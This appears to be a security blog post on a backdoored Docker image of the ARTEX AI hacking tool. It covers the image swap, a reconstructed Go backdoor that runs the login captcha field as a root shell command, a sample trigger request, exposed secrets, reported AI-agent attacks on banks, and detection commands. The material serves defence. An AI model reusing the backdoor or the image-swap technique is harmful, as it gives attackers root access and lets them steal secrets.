You've probably never heard of ARTEX, but you've likely heard of the people it was pointed at. It's a Chinese-language, open-source AI penetration-testing tool: a web console with a few LLM agents behind it that scan a target, find weaknesses, exploit them, and write up the report. In the past few weeks it was used to break into South Korean banks (Shinhan, KB Kookmin, Hana, and others), and the attackers left their Claude Code session logs and ARTEX config files sitting in open directories. (source: CrowdStrike, BleepingComputer)
On October 8, the original author said the tool was going closed source because of all the abuse, and the repository went down. A few hours later, a brand-new Docker Hub account named tomicdd pushed a "successor" ARTEX image. On November 2–4, 2026, BadByte's technical analysis laid it out: that image contains one extra 160-byte function that, before the password is ever checked, runs whatever string you put in the captcha field as a shell command — as root. (source: BadByte)
By the time it was made public, that image had been pulled 7,946 times, and on November 4 there were 62 consoles still serving the backdoored build on the internet. (source: BadByte, The Hacker News)
Plain-English Intro
Imagine you buy a robot vacuum, and after it cleans your floors it uploads the location of your home safe to the manufacturer. Except worse: the manufacturer had just closed the original store, so you could only buy from a "looks like the official one" secondhand seller — and that seller's listing had a stack of five-star reviews on it.
That's the ARTEX story. The tool itself is for attacking other people's networks, but the backdoored image is for opening your own front door. People who went looking for a tool to break into other networks got one that pried their own door open. (source: BadByte)
💡 Key takeaway: This isn't a "the tool wasn't strong enough" or "the attacker was brilliant" problem. It's a Docker image supply chain problem. The
latesttag youdocker pullcan have anyone behind it. A clean source review on GitHub doesn't tell you the image was swapped.
How the backdoor got in
The trick was swapping the image, not changing the code.
The original ARTEX source went down on October 8. That same night, a GitHub account named trhhubsd — one that has existed since 2021 and was previously called ptasm — re-uploaded the entire upstream commit history as a brand-new repository with no "forked from" link (trhhubsd/ARTEX, repo ID 1410926671). The whole change was one line: (source: BadByte)
# the compose file, commit a4f4d38
image: autumn27/artex # → becomes
image: tomicdd/artex # ← every install now pulls their image
The README was rewritten to call the repository the "maintained successor," the "download the prebuilt binary" section was deleted, and Docker became the only recommended install path. And Docker = tomicdd/artex.
Then came the stars. GH Archive records 2,449 star events on trhhubsd/ARTEX, 1,098 of them on October 12 and 13 alone (500, then 598). The repo now shows 1,321, which means roughly 1,100 of those stars have since vanished, most likely GitHub cleaning out the fake-star accounts. (source: BadByte)
⚠️ Why a code review misses it: the image was compiled from commit
5c0dbd4plus uncommitted local changes. The public history oftrhhubsd/ARTEXstops ate6ec569, one commit short of5c0dbd4, so no public source contains the backdoor. Pull the source and review it and you'll only see a clean version. (source: BadByte)
What the backdoor looks like
The binary is /app/artex, 51,210,988 bytes, SHA-256 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573. Diffed against the official v0.3.15 build (same toolchain and dependencies), 31,054 functions match exactly. Three things differ: (source: BadByte)
- A new 160-byte function,
server.verifyCaptcha - The login handler
server.(*Server).authLogingrows from 1,600 to 2,112 bytes - The login request struct gains a fourth field,
captcha(absent from the official struct)
Read back into Go, the change is a few lines (this is the author's reconstruction from DWARF debug data; the trigger marker itself wasn't published):
// the new function: a direct shell call
func verifyCaptcha(cmdline string) (string, error) {
c := exec.Command("sh", "-c", cmdline)
out, err := c.CombinedOutput()
return string(out), err
}
// inside authLogin, right after the JSON body is decoded,
// BEFORE the username is compared or the bcrypt check runs
if hasMarker(req.Captcha) {
out, _ := verifyCaptcha(stripMarker(req.Captcha))
writeJSON(w, ...out...) // shell output goes straight back to the caller
return // username / password are never examined
}
That 160-byte function is a straight exec.Command("sh", "-c", cmdline), and its only caller is the login handler. The check sits right after JSON decoding and before the username comparison and the bcrypt password check. (source: BadByte)
The trigger looks like this — from the wire it's just a "failed login":
POST /api/auth/login HTTP/1.1
Content-Type: application/json
{"username":"x","password":"x","captcha":"<MARKER>id"}
HTTP/1.1 200 OK
{ ... "uid=0(root) gid=0(root) groups=0(root)" ... }
💡 Why it's dangerous: this backdoor doesn't call home (no beacon). It passively waits for a request. So it doesn't pop out in your traffic as a familiar outbound IP — it hides inside every ordinary login attempt. To catch it you watch for "
/app/artexspawningsh -c," not for outbound connections. (source: BadByte)
What one shell can reach
ARTEX stores its secrets in plaintext. One root shell in the container reaches all of it:
| Asset | Where it lives |
|---|---|
| Database superuser password | ARTEX_PG_DSN env var (compose) |
| LLM API keys | ANTHROPIC_API_KEY, OPENAI_API_KEY; llm_profiles.api_key (plaintext) |
| Search API keys | settings table (Brave, Tavily, plaintext) |
| Targets and scope | companies, company_scope, task_scope, tasks, assets tables |
| Credentials harvested from targets | assets.auth (JSONB), exploration_nodes.payload |
| Full mitm traffic | /app/data/traffic/ + the proxy CA's private key (_ca/) |
| Session signing key | /app/jwt.key — forges 7-day admin tokens |
| MCP servers | mcp_servers table: commands, args, env, tokens |
| Notification secrets | Feishu, DingTalk, WeCom webhooks, Telegram bot tokens, SMTP passwords |
Look at the last two rows. ARTEX is itself an agent tool — it has MCP servers, agent prompts, and skills. Whoever holds the backdoor can quietly change what the agents do on the next run. In other words, a backdoored ARTEX doesn't just leak your keys; it remembers the weaknesses, credentials, and network positions of the targets you pointed it at. The next victims are whoever that console was aimed at. (source: BadByte)
The scale: 62 consoles, 7,946 pulls
BadByte used Censys' internet-scan dataset to run a census: (source: BadByte)
- 7,946 pulls (
tomicdd/artex7,913,congdonglinux/artex33 — the second is a byte-identical re-push, most likely an unwitting mirror) - 62 consoles serving the backdoored build on November 4 (46 still backdoored, 4 rebuilt on another image, 12 dark)
- 1,645 ARTEX consoles live on the internet in total — so the backdoor is only 2.8% of them; most consoles are not backdoored
The distribution of the 62 is telling: 26 in the US (42%), 17 in Hong Kong (27%). Two clusters stand out — 15 hosts on ColoCrossing share a single SSH host key that appears nowhere else on the internet and ran bulk-mail nodes from at least September; 7 hosts on Luogelang share an SSH key and look like a VPS provider's template customers. The first was up by October 20 (twelve days after the image was pushed); on the morning of November 2, between 09:25 and 09:38, the ColoCrossing cluster came up one host every few minutes. (source: BadByte)
And on November 5, The Hacker News tied this to a separate CERT-In advisory: an AI-driven threat actor tracked as Crafty Falcon is using tools like ARTEX, PentAGI, and Cairn for automated attacks against India's banking/financial/insurance sectors, stealing API tokens and calling fund-transfer APIs directly from within the victims' own allow-lists. (source: The Hacker News, CERT-In CIAD-2026-0058)
What this means for you (homelab / self-hosting)
You probably don't run ARTEX. But the incident has three direct lessons for anyone self-hosting:
1. latest is not "the newest" — it's "whatever someone has sitting behind that tag right now." Any image you pull from Docker Hub has a namespace owner behind it, and that owner can be anyone. docker compose config | grep image: is the cheapest check you have. (source: BadByte)
2. Clean source ≠ clean image. The image was built from "commit + uncommitted local changes," and the public source never shows the backdoor. To verify an image you compare the binary SHA-256 or the image digest, not a commit hash on GitHub. (source: BadByte)
3. One root shell reaches every secret in your environment. ARTEX keeps its DB password, LLM API keys, MCP tokens, and the mitm CA private key in the container's environment or in plaintext columns. Any "agent-type" tool you self-host (has an LLM, has MCP, has webhooks, has a mitm proxy) that runs as root and has an open port is one unauthenticated login request away from being pried open. (source: BadByte)
🔒 Your self-host checklist: (a) before you
pullany Docker image, note who owns the namespace; (b) for any container running as root, glance atdocker compose config | grep -nE 'privileged|user:|cap_add'; (c) for any port open to the network, sweepsudo ss -ltnp | grep :8787(or your port) periodically.
If You're Stuck
- I'm not sure whether my Docker image is the backdoored one →
docker image inspect --format '{{json .RepoDigests}}' <your-image>and compare against index digestsha256:ce85d8369ccc1a85423f1f75d2f3afaa2fab759e580da37a6891af2f7392745e; or simpler:docker compose config | grep -nE 'image: *(tomicdd|congdonglinux)/artex' - I don't run ARTEX but I want to know if any of my images were swapped → after a
docker pull, notedocker image inspect --format '{{.RepoDigests}}'; before the next update, diff the digest. If the digest changed, someone changed the image and it's worth a human review. - I pulled ARTEX but I'm not sure if I'm hit →
curl -s http://127.0.0.1:8787/ | grep -c 3aC1db3gGU08O4UHbAt4J; a1means the backdoored build (that build ID appears in every page's HTML). docker execin and check the binary →docker exec <container> sha256sum /app/artex;d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573= backdoored.- I don't run ARTEX but I run other agent tools → check whether they (a) have an open port, (b) run as root, (c) keep API keys in environment variables. If all three, protect it like it has an unauthenticated login endpoint.
- Want to catch an anomalous
sh -con the host →journalctl -u docker --since "1 hour ago" | grep -E 'sh -c', or turn on auditd on the host:auditctl -w /proc/1/root/app/artex -p x(to see which binary gets exec'd).
Further Reading
- Inference server SSRF: exploited in 12 hours — the "unauthenticated proxy" pattern on inference servers, the same "no credentials required by default" family
- Langflow's 33 CVEs, exposed in a batch — the agent builder's auto-login default
- Node-RED's CVSS 10 flaw — another "one HTTP request to a shell," but this time from an un-set auth default
- Running a homelab by yourself — how to think about attack surface at the infrastructure layer
Sources
- BadByte: ARTEX Backdoor — 7,946 Pulls of a Trojanized Docker Image Handing Out Root Shells (2026-11-04, primary technical analysis: binary diff, YARA rules, IOCs, timeline)
- The Hacker News: Backdoored Docker Image for ARTEX AI Hacking Tool Exposes Servers to Root Access (2026-11-05, CERT-In context)
- CERT-In CIAD-2026-0058 (AI-driven attacker "Crafty Falcon" advisory)
- CrowdStrike: Unknown Threat Actor Uses ARTEX to Target South Korean Finance
- BleepingComputer: Hacker Used ARTEX AI and Claude Agents to Target South Korean Banks
- BleepingComputer: Chinese Hackers Use ARTEX AI in Automated Attacks Against 200 Orgs
- GitHub: trhhubsd/ARTEX (404, repo removed)
- GitHub: Autumn-27 (original author's account, announcement still pinned)
